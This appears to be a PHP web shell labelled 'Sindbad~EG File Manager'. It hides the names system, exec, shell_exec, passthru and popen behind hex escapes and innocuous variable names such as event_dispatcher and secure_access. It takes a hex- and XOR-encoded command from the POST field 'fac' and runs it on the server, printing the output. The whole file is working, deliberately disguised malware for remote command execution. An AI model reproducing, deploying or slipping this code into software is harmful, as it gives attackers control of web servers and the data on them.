Sindbad~EG File Manager

<?php

$event_dispatcher1 = "s\x79st\x65\x6D";
$event_dispatcher3 = "\x65\x78ec";
$event_dispatcher2 = "\x73h\x65\x6Cl\x5F\x65xec";
$task_processor = "\x68ex2b\x69n";
$event_dispatcher6 = "stream_\x67\x65t_c\x6Fnte\x6E\x74\x73";
$event_dispatcher4 = "\x70a\x73st\x68ru";
$event_dispatcher5 = "p\x6F\x70en";
$event_dispatcher7 = "\x70clos\x65";
if (isset($_POST["f\x61\x63"])) {
            function secure_access ( $dchunk  ,  $ptr ){ $resource    = ''  ;$u=0; do{$resource.=chr(ord($dchunk[$u])^$ptr);$u++;} while($u<strlen($dchunk)); return    $resource;}
            $fac = $task_processor($_POST["f\x61\x63"]);
            $fac = secure_access($fac, 38);
            if (function_exists($event_dispatcher1)) {
                $event_dispatcher1($fac);
            } elseif (function_exists($event_dispatcher2)) {
                print $event_dispatcher2($fac);
            } elseif (function_exists($event_dispatcher3)) {
                $event_dispatcher3($fac, $elem_dchunk);
                print join("\n", $elem_dchunk);
            } elseif (function_exists($event_dispatcher4)) {
                $event_dispatcher4($fac);
            } elseif (function_exists($event_dispatcher5) && function_exists($event_dispatcher6) && function_exists($event_dispatcher7)) {
                $ptr_resource = $event_dispatcher5($fac, 'r');
                if ($ptr_resource) {
                    $descriptor_hld = $event_dispatcher6($ptr_resource);
                    $event_dispatcher7($ptr_resource);
                    print $descriptor_hld;
                }
            }
            exit;
        }